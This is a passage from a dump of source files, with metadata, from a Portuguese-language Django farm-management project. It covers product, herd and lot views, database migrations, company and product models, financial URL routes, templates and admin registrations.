Terceiro.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/terceiro_list.html', {\n 'terceiros': terceiros,\n })\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Insumos')\ndef produto(request):\n produtos = Produto.objects.filter(empresa=request.user.userprofile.empresa)\n\n context = {\n 'produtos': produtos\n }\n\n return render(request, 'portal/produto.html', context)\n\n\n@login_required\n@group_required('Insumos')\ndef adicionar_produto(request):\n acao = '/portal/cadastro/produto/adicionar'\n form = ProdutoForm(user=request.user, data=request.POST or None)\n\n return salvar_produto(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Insumos')\ndef editar_produto(request, pk):\n produto = get_object_or_404(Produto, pk=pk)\n acao = '/portal/cadastro/produto/editar/%s' % produto.id\n form = ProdutoForm(instance=produto, user=request.user, data=request.POST or None)\n\n return salvar_produto(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Insumos')\ndef excluir_produto(request, pk):\n produto = get_object_or_404(Produto, pk=pk)\n registro = produto\n acao = '/portal/cadastro/produto/excluir/%s' % produto.id\n tipo = 'Produto'\n data = dict()\n\n if request.method == 'POST':\n produto.delete()\n data['form_is_valid'] = True\n\n produtos = Produto.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/produto_list.html', {\n 'produtos': produtos,\n })\n else:\n context = {\n 'produto': produto,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Insumos')\ndef salvar_produto(request, form, template_name, acao):\n tipo = 'Produto'\n data = dict()\n\n if request.method == 'POST':\n if form.is_valid():\n form.monitorar = form.cleaned_data['monitorar']\n\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n\n data['form_is_valid'] = True\n\n produtos = Produto.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/produto_list.html', {\n 'produtos': produtos,\n })\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n"
},
{
"alpha_fraction": 0.6013745665550232,
"alphanum_fraction": 0.6288659572601318,
"avg_line_length": 47.5,
"blob_id": "07bd23c90e55d2341a0dc3adb6e2a5c1c9e022c8",
"content_id": "1272e5961f466505de9cc2718eb5f31d5abd3b31",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1752,
"license_type": "no_license",
"max_line_length": 144,
"num_lines": 36,
"path": "/rebanho/migrations/0005_configuracao.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-12 15:39\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.functions.text\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('portal', '0004_auto_20200611_1052'),\n ('rebanho', '0004_auto_20200611_1103'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Configuracao',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('dias_gestacao', models.PositiveIntegerField(blank=True, null=True, verbose_name='Dias de Gestação')),\n ('idade_limite_desmame', models.PositiveIntegerField(blank=True, null=True, verbose_name='Idade limite para desmame (meses)')),\n ('dias_limite_parto', models.PositiveIntegerField(blank=True, null=True, verbose_name='Dias limite para parto')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'Configuração',\n 'verbose_name_plural': 'Configuração',\n 'ordering': [django.db.models.functions.text.Lower('empresa__nome_fantasia')],\n },\n ),\n ]\n"
},
{
"alpha_fraction": 0.5850091576576233,
"alphanum_fraction": 0.6288848519325256,
"avg_line_length": 35.46666717529297,
"blob_id": "11afbf1cd89ec438686817ff9028295500596be1",
"content_id": "c4c889bc50192fb7913aba519272f6005c04297c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1094,
"license_type": "no_license",
"max_line_length": 154,
"num_lines": 30,
"path": "/financeiro/migrations/0005_auto_20200617_1628.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 20:28\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('portal', '0007_auto_20200617_1436'),\n ('financeiro', '0004_auto_20200617_1436'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='despesa',\n name='colaborador',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='colaborador', to='portal.Terceiro'),\n ),\n migrations.AddField(\n model_name='despesa',\n name='parceiro',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='parceiro', to='portal.Terceiro'),\n ),\n migrations.AlterField(\n model_name='despesa',\n name='fornecedor',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='fornecedor', to='portal.Terceiro'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6484706997871399,
"alphanum_fraction": 0.6620491147041321,
"avg_line_length": 35.459999084472656,
"blob_id": "235280f5a61db59018bfd3831a4dd040352edf1d",
"content_id": "ac811f35404a76e924995531b4794acd05bf4e87",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7321,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 200,
"path": "/portal/models.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.contrib.auth.models import User\nfrom django.db import models\n\n# Create your models here.\nfrom django.db.models.functions import Lower\n\n\nclass Empresa(models.Model):\n razao_social = models.CharField(verbose_name='Razão Social', max_length=255)\n nome_fantasia = models.CharField(verbose_name='Nome Fantasia', max_length=255)\n cnpj = models.CharField(verbose_name='CNPJ', max_length=18, null=True, blank=True)\n ie = models.CharField(verbose_name='IE', max_length=45, null=True, blank=True)\n im = models.CharField(verbose_name='IM', max_length=45, null=True, blank=True)\n endereco = models.CharField(verbose_name='Endereço', max_length=255, null=True, blank=True)\n bairro = models.CharField(max_length=255, null=True, blank=True)\n cep = models.CharField(verbose_name='CEP', max_length=10, null=True, blank=True)\n cidade = models.CharField(max_length=150, null=True, blank=True)\n uf = models.CharField(verbose_name='UF', max_length=2, null=True, blank=True)\n fone = models.CharField(max_length=13, null=True, blank=True)\n email = models.CharField(max_length=50, null=True, blank=True)\n site = models.CharField(max_length=50, null=True, blank=True)\n logo = models.ImageField(upload_to='img_empresa', null=True, blank=True)\n created_at = models.DateTimeField(auto_now_add=True)\n update_at = models.DateTimeField(auto_now=True, null=True)\n user = models.ForeignKey(User, null=True, blank=True, on_delete=models.DO_NOTHING)\n\n class Meta:\n verbose_name = 'Empresa'\n verbose_name_plural = 'Empresa'\n ordering = ['nome_fantasia']\n\n def __str__(self):\n return self.nome_fantasia\n\n\nclass UserProfile(models.Model):\n user = models.OneToOneField(User, unique=True, on_delete=models.CASCADE)\n empresa = models.ForeignKey(Empresa, blank=True, null=True, on_delete=models.DO_NOTHING)\n\n def __str__(self):\n return str(self.empresa)\n\n\nclass AuditoriaMixin(models.Model):\n created_at = models.DateTimeField(auto_now_add=True)\n update_at = models.DateTimeField(auto_now=True, null=True)\n user = models.ForeignKey(User, null=True, blank=True, on_delete=models.DO_NOTHING)\n empresa = models.ForeignKey(Empresa, verbose_name='Empresa', null=True, blank=True, on_delete=models.DO_NOTHING)\n\n class Meta:\n abstract = True\n\n\nclass Terceiro(AuditoriaMixin):\n CLIENTE = 1\n COLABORADOR = 2\n FABRICANTE = 3\n FORNECEDOR = 4\n PARCEIRO = 5\n PRODUTOR = 6\n OUTROS = 7\n\n CATEGORIA_CHOICES = [\n [CLIENTE, 'Cliente'],\n [COLABORADOR, 'Colaborador'],\n [FABRICANTE, 'Fabricante'],\n [FORNECEDOR, 'Fornecedor'],\n [PARCEIRO, 'Parceiro'],\n [PRODUTOR, 'Produtor'],\n [OUTROS, 'Outros']\n ]\n\n nome = models.CharField(verbose_name='Nome', max_length=255)\n cpf_cnpj = models.CharField(verbose_name='CPF/CNPJ', max_length=18, null=True, blank=True)\n endereco = models.CharField(verbose_name='Endereço', max_length=255, null=True, blank=True)\n bairro = models.CharField(max_length=255, null=True, blank=True)\n cep = models.CharField(verbose_name='CEP', max_length=10, null=True, blank=True)\n cidade = models.CharField(max_length=150, null=True, blank=True)\n uf = models.CharField(verbose_name='UF', max_length=2, null=True, blank=True)\n fone = models.CharField(max_length=13, null=True, blank=True)\n email = models.CharField(max_length=50, null=True, blank=True)\n site = models.CharField(max_length=50, null=True, blank=True)\n categoria = models.IntegerField(verbose_name='Categoria', choices=CATEGORIA_CHOICES)\n\n class Meta:\n verbose_name = 'Cadastro Terceiro'\n verbose_name_plural = 'Cadastros Terceiros'\n ordering = [Lower('nome')]\n\n def __str__(self):\n return self.nome\n\n\nclass Frota(AuditoriaMixin):\n AUTOMOVEL = 1\n MOTOCICLETA = 2\n MAQUINARIO = 3\n\n TIPO_CHOICES = [\n [AUTOMOVEL, 'Automóvel'],\n [MAQUINARIO, ' Maquinário'],\n [MOTOCICLETA, 'Motocicleta']\n ]\n\n descricao = models.CharField(verbose_name='Descrição', max_length=150)\n tipo = models.IntegerField(choices=TIPO_CHOICES, default=1)\n placa = models.CharField(verbose_name='Placa', max_length=8, null=True, blank=True)\n ano = models.IntegerField(verbose_name='Ano Fabricação', null=True, blank=True)\n modelo = models.IntegerField(verbose_name='Ano Modelo', null=True, blank=True)\n\n def __str__(self):\n return self.descricao\n\n class Meta:\n ordering = [Lower('descricao'), ]\n verbose_name = 'Frota'\n verbose_name_plural = 'Frota'\n\n\nclass Produto(AuditoriaMixin):\n AGRICOLA = 1\n COMBUSTIVEL = 2\n EPI = 3\n FARMACIA = 4\n FERRAMENTA = 5\n LUBRIFICANTE = 6\n NUTRICAO = 7\n OUTROS = 9\n PECA = 8\n\n CATEGORIA_CHOICES = [\n [AGRICOLA, 'Agrícola'],\n [COMBUSTIVEL, 'Combustível'],\n [EPI, 'EPI'],\n [FARMACIA, 'Farmácia'],\n [FERRAMENTA, 'Ferramenta'],\n [LUBRIFICANTE, 'Lubrificante'],\n [NUTRICAO, 'Nutrição'],\n [PECA, 'Peça'],\n [OUTROS, 'Outros']\n ]\n\n ARROBA = 1\n CENTIMETRO = 2\n CENTIMETRO_CUBICO = 3\n CENTIMETRO_QUADRADO = 4\n GRAMA = 5\n LITRO = 6\n METRO = 7\n METRO_CUBICO = 8\n MILILITRO = 9\n QUILOGRAMA = 10\n QUILOMETRO = 11\n TONELADA = 12\n UNIDADE = 13\n\n UNIDADE_CHOICES = [\n [ARROBA, 'Arroba'],\n [CENTIMETRO, 'Centímetro'],\n [CENTIMETRO_CUBICO, 'Centímetro Cúbico'],\n [CENTIMETRO_QUADRADO, 'Centímetro Quadrado'],\n [GRAMA, 'Grama'],\n [LITRO, 'Litro'],\n [METRO, 'Metro'],\n [METRO_CUBICO, 'Metro Cúbico'],\n [MILILITRO, 'Mililitro'],\n [QUILOGRAMA, 'Quilograma'],\n [QUILOMETRO, 'Quilômetro'],\n [TONELADA, 'Tonelada'],\n [UNIDADE, 'Unidade'],\n ]\n\n FEMEA = 0\n MACHO = 1\n\n SEXO_CHOICES = [\n [FEMEA, 'Fêmea'],\n [MACHO, 'Macho']\n ]\n\n descricao = models.CharField(verbose_name='Descrição', max_length=150)\n categoria = models.IntegerField(verbose_name='Categoria', choices=CATEGORIA_CHOICES)\n qtde_minima = models.PositiveIntegerField(verbose_name='Quantidade Mínima', null=True, blank=True)\n qtde_maxima = models.PositiveIntegerField(verbose_name='Quantidade Máxima', null=True, blank=True)\n unidade_medida = models.IntegerField(verbose_name='Unidade', choices=UNIDADE_CHOICES)\n fabricante = models.ForeignKey(Terceiro, on_delete=models.CASCADE, null=True, blank=True)\n monitorar = models.BooleanField(verbose_name='Monitorar Estoque', default=False)\n idade_minima = models.PositiveIntegerField(verbose_name='Idade Mínima (meses)', null=True, blank=True)\n idade_maxima = models.PositiveIntegerField(verbose_name='Idade Máxima (meses)', null=True, blank=True)\n carencia_abate = models.PositiveIntegerField(verbose_name='Carência Abate (dias)', null=True, blank=True)\n usado_pasto = models.BooleanField(verbose_name='Usado no Pasto', default=False)\n especifico_sexo = models.IntegerField(verbose_name='Específico para Sexo', choices=SEXO_CHOICES, null=True, blank=True)\n\n class Meta:\n ordering = [Lower('descricao'),]\n verbose_name = 'Produto'\n verbose_name_plural = 'Produtos'\n\n def __str__(self):\n return self.descricao"
},
{
"alpha_fraction": 0.4983498454093933,
"alphanum_fraction": 0.603960394859314,
"avg_line_length": 17.9375,
"blob_id": "a9bd2616ab150a255eaa365964423ba2522cf68f",
"content_id": "d160cbc47aad96fcee6bcffe734b1c0c4c940b17",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 303,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 16,
"path": "/financeiro/migrations/0003_delete_fornecedor.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-17 15:42\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('financeiro', '0002_auto_20200617_1141'),\n ]\n\n operations = [\n migrations.DeleteModel(\n name='Fornecedor',\n ),\n ]\n"
},
{
"alpha_fraction": 0.7207468748092651,
"alphanum_fraction": 0.7207468748092651,
"avg_line_length": 69.88235473632812,
"blob_id": "db9ca09b7ca51b9b7f874a1a06b8b5089f32f94c",
"content_id": "68d2f21da4631e002a44161ac54490ca43dde721",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2410,
"license_type": "no_license",
"max_line_length": 140,
"num_lines": 34,
"path": "/financeiro/urls.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.conf.urls import url\nfrom django.views.generic import TemplateView\n\nfrom . import views\n\nurlpatterns = [\n url(r'^financeiro/movimento', views.movimento, name='movimento'),\n\n url(r'^financeiro/despesa/situacao/(?P<despesa_pk>\\d+)$', views.alterar_situacao_despesa, name='alterar_situacao_despesa'),\n url(r'^financeiro/despesa/excluir/(?P<despesa_pk>\\d+)$', views.excluir_despesa, name='excluir_despesa'),\n url(r'^financeiro/despesa/editar/(?P<despesa_pk>\\d+)$', views.editar_despesa, name='editar_despesa'),\n url(r'^financeiro/despesa/adicionar$', views.adicionar_despesa, name='adicionar_despesa'),\n url(r'^financeiro/despesa$', views.despesa, name='despesa'),\n\n url(r'^financeiro/receita/situacao/(?P<receita_pk>\\d+)$', views.alterar_situacao_receita, name='alterar_situacao_receita'),\n url(r'^financeiro/receita/excluir/(?P<receita_pk>\\d+)$', views.excluir_receita, name='excluir_receita'),\n url(r'^financeiro/receita/editar/(?P<receita_pk>\\d+)$', views.editar_receita, name='editar_receita'),\n url(r'^financeiro/receita/adicionar$', views.adicionar_receita, name='adicionar_receita'),\n url(r'^financeiro/receita$', views.receita, name='receita'),\n\n url(r'^financeiro/cadastro/subcategoria/excluir/(?P<pk>\\d+)$', views.excluir_subcategoria, name='excluir_subcategoria'),\n url(r'^financeiro/cadastro/subcategoria/editar/(?P<pk>\\d+)$', views.editar_subcategoria, name='editar_subcategoria'),\n url(r'^financeiro/cadastro/subcategoria/adicionar/(?P<categoria_pk>\\d+)$', views.adicionar_subcategoria, name='adicionar_subcategoria'),\n\n url(r'^financeiro/cadastro/categoria/excluir/(?P<categoria_pk>\\d+)$', views.excluir_categoria, name='excluir_categoria'),\n url(r'^financeiro/cadastro/categoria/editar/(?P<categoria_pk>\\d+)$', views.editar_categoria, name='editar_categoria'),\n url(r'^financeiro/cadastro/categoria/adicionar$', views.adicionar_categoria, name='adicionar_categoria'),\n url(r'^financeiro/cadastro/categoria$', views.categoria, name='categoria'),\n\n url(r'^financeiro/cadastro/conta/excluir/(?P<conta_pk>\\d+)$', views.excluir_conta, name='excluir_conta'),\n url(r'^financeiro/cadastro/conta/editar/(?P<conta_pk>\\d+)$', views.editar_conta, name='editar_conta'),\n url(r'^financeiro/cadastro/conta/adicionar$', views.adicionar_conta, name='adicionar_conta'),\n url(r'^financeiro/cadastro/conta$', views.conta, name='conta'),\n]\n"
},
{
"alpha_fraction": 0.5242404937744141,
"alphanum_fraction": 0.5539754629135132,
"avg_line_length": 33.377777099609375,
"blob_id": "6f05116dca6e0ffcf55a42007c0bcaea8153e331",
"content_id": "44eeece3197ad85b684b9d875e123835c709740a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1550,
"license_type": "no_license",
"max_line_length": 256,
"num_lines": 45,
"path": "/rebanho/migrations/0002_auto_20200610_1612.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-10 20:12\n\nimport datetime\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rebanho', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Morte',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ],\n ),\n migrations.RenameField(\n model_name='animal',\n old_name='nascimento',\n new_name='data_nascimento',\n ),\n migrations.AddField(\n model_name='animal',\n name='data_morte',\n field=models.DateField(blank=True, null=True, verbose_name='Data Morte'),\n ),\n migrations.AddField(\n model_name='animal',\n name='motivo_morte',\n field=models.IntegerField(blank=True, choices=[[0, 'Abate'], [1, 'Acidente Ofídico'], [2, 'Afogamento/Atolamento'], [3, 'Botulismo'], [4, 'Brucelose'], [5, 'Descarte'], [6, 'Mastite'], [7, 'Neoplasia']], null=True, verbose_name='Motivo Morte'),\n ),\n migrations.AddField(\n model_name='animal',\n name='vivo',\n field=models.BooleanField(default=True),\n ),\n migrations.AlterField(\n model_name='lote',\n name='data_criacao',\n field=models.DateField(default=datetime.datetime(2020, 6, 10, 16, 11, 57, 15860), verbose_name='Data de criação'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6301682591438293,
"alphanum_fraction": 0.6327345371246338,
"avg_line_length": 27.055999755859375,
"blob_id": "cc36eeff96739d8a83e1825a16a251d385112c4e",
"content_id": "bca3714a72ad03eb4486789b0ce78c1187aad5cc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7016,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 250,
"path": "/rebanho/views.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\n\n# Create your views here.\nfrom django.template.loader import render_to_string\n\nfrom portal.views import group_required\nfrom rebanho.forms import LoteForm, AnimalForm, ConfiguracaoForm\nfrom rebanho.models import Lote, Animal, Configuracao\n\n\n@login_required\n@group_required('Rebanho')\ndef configuracao(request):\n try:\n configuracao = get_object_or_404(Configuracao, empresa=request.user.userprofile.empresa)\n except:\n configuracao = Configuracao()\n configuracao.empresa = request.user.userprofile.empresa\n configuracao.user = request.user\n configuracao.save()\n\n if request.method == 'POST':\n form = ConfiguracaoForm(request.POST)\n if form.is_valid():\n configuracao.dias_gestacao = form.cleaned_data['dias_gestacao']\n configuracao.idade_limite_desmame = form.cleaned_data['idade_limite_desmame']\n configuracao.dias_limite_parto = form.cleaned_data['dias_limite_parto']\n\n configuracao.save()\n\n messages.success(request, 'Configurações atualizadas.')\n\n return redirect('configuracao')\n\n form = ConfiguracaoForm(instance=configuracao)\n\n context = {\n 'configuracao': configuracao,\n 'form': form\n }\n return render(request, 'rebanho/configuracao.html', context)\n\n\n@login_required\n@group_required('Rebanho')\ndef visao_geral(request):\n context = {\n\n }\n return render(request, 'rebanho/visao_geral.html', context)\n\n\n@login_required\n@group_required('Rebanho')\ndef animal(request):\n animais = Animal.objects.filter(empresa=request.user.userprofile.empresa)\n\n context = {\n 'animais': animais\n }\n\n return render(request, 'rebanho/animal.html', context)\n\n\n@login_required\n@group_required('Rebanho')\ndef adicionar_animal(request):\n acao = '/rebanho/cadastro/animal/adicionar'\n\n if request.method == 'POST':\n form = AnimalForm(request.POST)\n else:\n form = AnimalForm()\n return salvar_animal(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Rebanho')\ndef editar_animal(request, pk):\n animal = get_object_or_404(Animal, pk=pk)\n acao = '/rebanho/cadastro/animal/editar/%s' % animal.id\n\n if request.method == 'POST':\n form = AnimalForm(request.POST, instance=animal)\n else:\n form = AnimalForm(instance=animal)\n return salvar_animal(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Rebanho')\ndef matar_animal(request, pk):\n animal = get_object_or_404(Animal, pk=pk)\n registro = animal\n acao = '/rebanho/cadastro/animal/matar/%s' % animal.id\n tipo = 'Animal'\n data = dict()\n form = AnimalForm(instance=animal)\n\n if request.method == 'POST':\n animal.vivo = False\n animal.responsavel_morte = request.user\n animal.data_morte = request.POST['data_morte']\n animal.motivo_morte = request.POST['motivo_morte']\n animal.save()\n\n data['form_is_valid'] = True\n\n animais = Animal.objects.filter(empresa=request.user.userprofile.empresa, vivo=True)\n\n data['html_list'] = render_to_string('includes/animal_list.html', {\n 'animais': animais,\n })\n else:\n context = {\n 'animal': animal,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n 'form': form\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Rebanho')\ndef salvar_animal(request, form, template_name, acao):\n tipo = 'Animal'\n data = dict()\n\n if request.method == 'POST':\n if form.is_valid():\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n\n data['form_is_valid'] = True\n\n animais = Animal.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/animal_list.html', {\n 'animais': animais,\n })\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Rebanho')\ndef lote(request):\n lotes = Lote.objects.filter(empresa=request.user.userprofile.empresa)\n\n context = {\n 'lotes': lotes\n }\n\n return render(request, 'rebanho/lote.html', context)\n\n\n@login_required\n@group_required('Rebanho')\ndef adicionar_lote(request):\n acao = '/rebanho/cadastro/lote/adicionar'\n\n if request.method == 'POST':\n form = LoteForm(request.POST)\n else:\n form = LoteForm()\n return salvar_lote(request, form, 'includes/create.html', acao)\n\n\n@login_required\n@group_required('Rebanho')\ndef editar_lote(request, pk):\n lote = get_object_or_404(Lote, pk=pk)\n acao = '/rebanho/cadastro/lote/editar/%s' % lote.id\n\n if request.method == 'POST':\n form = LoteForm(request.POST, instance=lote)\n else:\n form = LoteForm(instance=lote)\n return salvar_lote(request, form, 'includes/update.html', acao)\n\n\n@login_required\n@group_required('Rebanho')\ndef excluir_lote(request, pk):\n lote = get_object_or_404(Lote, pk=pk)\n registro = lote\n acao = '/rebanho/cadastro/lote/excluir/%s' % lote.id\n tipo = 'Lote'\n data = dict()\n\n if request.method == 'POST':\n lote.delete()\n data['form_is_valid'] = True\n\n lotes = Lote.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/lote_list.html', {\n 'lotes': lotes,\n })\n else:\n context = {\n 'lote': lote,\n 'registro': registro,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string('includes/delete.html', context, request=request)\n\n return JsonResponse(data)\n\n\n@login_required\n@group_required('Rebanho')\ndef salvar_lote(request, form, template_name, acao):\n tipo = 'Lote'\n data = dict()\n\n if request.method == 'POST':\n if form.is_valid():\n form.instance.empresa = request.user.userprofile.empresa\n form.instance.user = request.user\n form.save()\n\n data['form_is_valid'] = True\n\n lotes = Lote.objects.filter(empresa=request.user.userprofile.empresa)\n\n data['html_list'] = render_to_string('includes/lote_list.html', {\n 'lotes': lotes,\n })\n context = {\n 'form': form,\n 'acao': acao,\n 'tipo': tipo,\n }\n data['html_form'] = render_to_string(template_name, context, request=request)\n return JsonResponse(data)\n"
},
{
"alpha_fraction": 0.45864155888557434,
"alphanum_fraction": 0.4613315463066101,
"avg_line_length": 41.514286041259766,
"blob_id": "b280761ce16eedd76ce44b2a8ecfb164eaea45d6",
"content_id": "8a5144b43764c931bc519ed9a8eaf54b53af4550",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 1487,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 35,
"path": "/portal/templates/includes/update.html",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "{% load widget_tweaks %}\n\n<div class=\"form-row\">\n <div class=\"col-sm-12\">\n <form method=\"post\" action=\"{{ acao }}\" class=\"js-update-form\">\n {% csrf_token %}\n <input type=\"hidden\" value=\"{{ data_inicial }}\" name=\"inicio\">\n <input type=\"hidden\" value=\"{{ data_final }}\" name=\"final\">\n\n <div class=\"modal-header text-center\">\n <h4 class=\"heading lead text-white font-weight-bold\">Editar {{ tipo }}</h4>\n <button type=\"button\" class=\"close\" data-dismiss=\"modal\"\n aria-label=\"Close\">\n <span aria-hidden=\"true\" class=\"white-text\">×</span>\n </button>\n </div>\n <div class=\"modal-body\">\n {% if tipo == 'Despesa' or tipo == 'Receita' %}\n {% include 'includes/financeiro_form.html' %}\n {% elif tipo == 'Animal' %}\n {% include 'includes/animal_form.html' %}\n {% elif tipo == 'Produto' %}\n {% include 'includes/produto_form.html' %}\n {% else %}\n {% include 'includes/form.html' %}\n {% endif %}\n </div>\n <div class=\"modal-footer right-aligned\">\n <div class=\"text-center\">\n <button type=\"submit\" class=\"btn btn-rounded btn-default\">Atualizar</button>\n </div>\n </div>\n </form>\n </div>\n</div>"
},
{
"alpha_fraction": 0.44337528944015503,
"alphanum_fraction": 0.45891931653022766,
"avg_line_length": 32.79999923706055,
"blob_id": "d772b6a3b7eb2ab93b9679b499e9df09197bb385",
"content_id": "1a47218d9a83fef42416ccb256ba5781d595f932",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 1351,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 40,
"path": "/financeiro/templates/includes/resumo.html",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "{% load filters %}\n\n<div class=\"form-row justify-content-between\">\n <div class=\"chip chip-lg {{ color }} text-right white-text\">\n <span class=\"float-left\">PENDENTES</span>\n {% if pendentes.total != None %}\n {% if pendentes.total < 1000 %}\n R$ {{ pendentes.total.normalize|moeda }}\n {% else %}\n R$ {{ pendentes.total.normalize|moeda }}\n {% endif %}\n {% else %}\n R$ 0,00\n {% endif %}\n </div>\n <div class=\"chip chip-lg {{ color }} text-right white-text\">\n <span class=\"float-left\">EFETIVADAS</span>\n {% if efetivadas.total != None %}\n {% if efetivadas.total < 1000 %}\n R$ {{ efetivadas.total.normalize|moeda }}\n {% else %}\n R$ {{ efetivadas.total.normalize|moeda }}\n {% endif %}\n {% else %}\n R$ 0,00\n {% endif %}\n </div>\n <div class=\"chip chip-lg {{ color }} text-right white-text\">\n <span class=\"float-left\">TOTAL</span>\n {% if total.total != None %}\n {% if total.total < 1000 %}\n R$ {{ total.total.normalize|moeda }}\n {% else %}\n R$ {{ total.total.normalize|moeda }}\n {% endif %}\n {% else %}\n R$ 0,00\n {% endif %}\n </div>\n</div>"
},
{
"alpha_fraction": 0.7094017267227173,
"alphanum_fraction": 0.7094017267227173,
"avg_line_length": 34.099998474121094,
"blob_id": "b607c46fb3a47c976ad48aebecb863d91438d78b",
"content_id": "63aef47c7d0ddbff31ae16c55db5b9cb3db5aea1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1404,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 40,
"path": "/financeiro/admin.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom import_export.admin import ImportExportModelAdmin\n\n# Register your models here.\nfrom .models import Categoria, Conta, Receita, Despesa, SubCategoria\n\n\[email protected](Categoria)\nclass CategoriaAdmin(ImportExportModelAdmin):\n list_display = ('descricao', 'tipo')\n list_filter = ('tipo', 'empresa')\n search_fields = ('descricao',)\n\n\[email protected](SubCategoria)\nclass SubCategoriaAdmin(ImportExportModelAdmin):\n list_display = ('descricao', 'categoria')\n list_filter = ('categoria__tipo', 'empresa')\n search_fields = ('descricao',)\n\n\[email protected](Conta)\nclass ContaAdmin(ImportExportModelAdmin):\n list_display = ('descricao', 'tipo')\n list_filter = ('tipo', 'empresa')\n search_fields = ('descricao',)\n\n\[email protected](Receita)\nclass ReceitaAdmin(ImportExportModelAdmin):\n list_display = ('descricao', 'situacao', 'data', 'subcategoria', 'conta', 'valor')\n list_filter = ('subcategoria', 